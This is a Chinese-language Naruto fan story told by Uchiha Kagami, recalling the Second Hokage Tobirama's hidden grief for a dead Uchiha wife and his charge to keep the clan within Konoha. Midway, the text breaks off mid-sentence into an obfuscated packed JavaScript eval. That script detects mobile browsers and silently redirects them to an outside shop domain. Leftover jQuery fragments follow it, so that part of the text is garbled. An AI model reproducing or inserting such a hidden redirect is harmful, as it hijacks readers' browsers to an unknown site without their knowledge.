我是宇智波镜。
我自小生长在宇智波族地,岁岁朝夕,唯有忍术为伴。我日夜苦修、最终开启属于自己的万花筒写轮眼。
我比任何人都清楚宇智波一族的处境。
自木叶建村以来,流言偏见从未消散,村子始终隐隐忌惮着宇智波的血继与力量。可即便身处这般夹缝境遇,我从未心生怨怼、从未萌生叛意。
我始终欲以己身之力,改变村子对宇智波的偏颇成见。我想成为联结木叶与宇智波的桥梁,成为两族之间最稳固的纽带。
我一心守护安稳和平的木叶,更想护住生我养我的宇智波一族。
我从未想过,这样平凡的自己,会被选入二代目火影的贴身护卫小队。
或许是当年我一腔赤诚、热血坦荡的肺腑之言,让冷静寡淡的二代目大人觉得难得纯粹,才将尚且年少的我纳入身侧,悉心栽培。
最初的二代目火影护卫小队,仅有三人。
我、志村团藏、猿飞日斩,三人朝夕相伴,寸步不离,始终追随在二代目千手扉间大人身侧,伴他处理村务、奔赴战场、出使列国。
世人皆言,二代目火影千手扉间,生性冷静自持,理智权衡万事,从无私心、从无软肋。
年少之初,我也曾偏执以为,身为千手族人、执掌木叶权柄的他,定然心底忌惮、疏离宇智波。
可日日相伴,我才慢慢看清所有真相。
他从未偏见宇智波,从未刻意打压、从未冷眼苛待。
在他执掌木叶的岁月里,宇智波一族从未爆发过半分叛乱与暴力纷争,村内本该赋予宇智波的权益、职位、资源,他尽数公允分配,甚至破格给予宇智波诸多村内核心岗位,默默平衡着村子与宇智波的关系。
火影办公室的书架最高层,常年摆放着一对青蛙玩偶,一大一小静静依偎在一起,憨态可掬。
每一次我入内汇报公务,目光总会不自觉落在那一对玩偶之上。
我始终不解,素来严谨刻板、不近嬉笑、一心沉溺政务的二代目大人,为何会将这般稚气笨拙的玩偶,妥帖安放于最显眼的位置,日日可见。
后来某次公务结束,我偶然驻足,亲眼看见他褪去一身公务冷肃,小心翼翼将一对玩偶擦拭干净,搬至窗边细细晾晒,待尘埃散尽、阳光拂过,又认认真真摆回书架原处,摆放得整整齐齐,一丝不苟。
那一刻我忽然觉得,这般清冷孤高的大人,心底深处,大抵也藏着一丝不为人知的、孩子气的温柔。
世人皆知,二代目大人毕生痴迷忍术研发,开创禁术。
他的私人实验室戒备森严,是整个木叶无人敢擅闯的禁地,即便是贴身随行的我们,也从未踏足过半步。
年少一次不慎,我机缘巧合误入了那间隐秘的实验室。
室内陈设冰冷,各类忍术器械罗列有序,空气中萦绕着淡淡的查克拉药味。
我无从分辨他正在试验的是什么高深禁术,唯独那一次,我亲眼看到实验室正中央的试验台之上,静静躺着一具少女身躯。
她身着一袭白色的连衣裙,肌肤白皙剔透,一头耀眼的金发柔顺散落,五官精致绝伦,安然阖眸,静静平卧,宛若沉眠。
可她周身无半分查克拉流转,身躯质地细腻干涩,全然是以细腻土屑凝塑而成,栩栩如生,却无生机,宛如一具精美绝伦、毫无魂魄的人偶。
许久之后,我才知道,那是二代目大人穷尽心血研发的禁术。
秽土转生。
此术以土屑为躯体媒介,可召唤逝者亡魂归来人间。
这些年,他试验过无数亡者忍者,无一例外,皆能成功唤回魂魄、睁眼复苏。
唯独这具金发少女的土屑身躯,次次试验,从无例外,始终死寂沉沉。她从未睁开过一次眼眸,从未有过半分魂魄归体的迹象,自始至终,都只是一具沉眠的躯壳。
后来,我们护卫小队随同二代目大人出使雷之国,进行两国国事洽谈。
彼时雷之国由二代目雷影执掌政权,全程洽谈顺畅融洽,公务流程有条不紊、顺遂无碍。
可恪守规矩、严谨自律、从无半分闲散的二代目大人,却唯独在雷之国的闲暇间隙,以实地考察为由,独自离开雷影大楼,穿梭在异国的长街闹市之中。
我数次随行,默默看在眼里。
每一次出使雷之国,他总会走遍这条繁华商业街,从街头至街尾,缓步慢行,目光细细掠过两旁商铺摊位,似在寻觅着什么无人知晓的东西。
我曾出言问询,他只淡淡颔首,语气寻常无波:
“无事,随便看看。”
可每一次返程,他手中总会多出几袋包装精致的和果子。我猜,无欲无求的二代目大人,大抵是偏爱这般甜品。
街边新潮的服饰橱窗,也是他屡屡驻足的地方。
雷之国民风热烈奔放,女忍装束相较于木叶,更为新潮大胆、别致时髦。每每路过女装橱窗,望见内里精致的服饰与人形模特,他总会下意识驻足凝望片刻,眸光温柔沉静。
原来不近人情的扉间大人,也有这般寻常的烟火一面。
只是这番模样若是传扬出去,世人知晓这位年近三十后半的二代火影,会在女装橱窗前驻足的样子,怕是免不了被人认为变态……
又一次出使雷之国,街市一间新开的典当铺,吸引了他的目光。
店铺最外侧的橱窗里,陈列着一条通透的琥珀项链,色泽清亮纯净,质感通透雅致,在日光下流转着细碎温柔的光泽,格外动人。
那一日,二代目大人立在橱窗外,驻足良久,久久未曾移步,似透过一条项链,望见了遥遥过往。
最终,他不惜高价,将这条琥珀项链买下,带回木叶。
往后我才知晓,他将这条项链妥帖安放于办公桌最里层的抽屉里,静静收在精致木盒之中。
无人之时,他常会独自打开木盒,指尖轻轻反复摩挲着通透的琥珀,安静凝望,久久不语。
可能,在万千宝石之中,他唯独偏爱琥珀这般澄澈的质地。
岁月更替,流年更迭。
年岁渐长,我遇见了属于自己的缘分,娶妻成家,拥有了安稳的家庭与乖巧的孩子,日子平淡圆满。
可二代目大人,始终孑然一身、孤身一人。
多年来,各国大名的公
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786690|203075||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
主、木叶名门的世家大小姐,无数人慕名倾慕、上门联姻,皆被他以公务繁忙、无暇私念为由,一一婉言谢绝,尽数推脱。
那日公务闲暇,办公室静谧安然,我望着他孤身静坐的背影,一时失了分寸,多嘴问了一句藏在心底多年的疑惑:
“二代目大人,世间诸多倾心于您的女子,难道就没有一位,是您想相守一生的人吗?”
话音落下,办公室瞬间陷入寂静。
我清晰感知到,他周身常年冷肃的气息,骤然凝滞一瞬。
他抬眸望向窗外明朗的天光,目光放空,遥遥望向天际。
漫长的沉默过后,他低沉平淡的嗓音缓缓响起,带着几乎无从察觉的落寞:
“我曾经有过妻子。”
我骤然一怔,满心错愕。
我追随他多年,翻阅过木叶诸多史料卷宗,从未有人提及此事,史册典籍之中,也从未有过半分记载。历代火影的妻室,皆会载入史册、流传后世。
可他的妻子,无人记载、无人提及,仿佛从未存在过。我望见他眉眼之间一闪而过的落寞,瞬间了然于心。
或许他的那位妻子,大抵早已离世,消散在岁月之中。我心知触碰到了他的私念与伤疤,便即刻敛了话音,不敢再多问半句。
可这一次,他没有刻意回避。
他目光悠远,落在虚空之处,字字轻缓,带着一丝的愧疚与遗憾:
“她和你一样,出身宇智波。”
“她走的时候,才十八岁。”
“是我亏欠她太多。”
我喉间微涩,轻声唤道:“二代目大人……”
那一刻,我望着他孤冷的背影,望着他眼底积压半生的愧疚,久久说不出话。
他一定很爱他的妻子。
良久的静默之后,他缓缓回神,眸光归于沉静,郑重看向我:
“镜,我曾答应过她。”
“会让宇智波一族安稳存续、扎根木叶。”
“往后,便由你继承我的意志,守护木叶,联结两族。”
“成为维系村子与宇智波的纽扣。”
这一番话,深深刻在我的心底,成为我此生从未动摇的信条,是我余生奔波不息、至死不渝的初心。
后来,二代目大人为了掩护我们出逃,以一人敌云隐金角银角等精英上忍,陨落于战场,以身殉村。
他离世之后,我始终铭记这份托付,半生奔波、从未停歇,辗转在木叶与宇智波之间,调和隔阂、化解矛盾、维系安稳。
我一遍遍告诫后人,和平来之不易,宇智波与木叶从来不是对立两端,故土同根,需要所有人共同守护、彼此包容。
我的孙子止水,承袭了我的本心,继承了二代目大人未尽的意志。
他赤诚纯粹、心怀大义,穷尽一生奔赴守护,为宇智波、为木叶、为和平,燃尽了自己的一生。
而我直至暮年,依旧不敢忘却那日办公室里,他眼眸中的嘱托与期许。
我穷尽余生所有力量,维系羁绊,拼尽一切,绝不会让宇智波游离于木叶之外。
不想让他一世亏欠的遗憾,白白落空。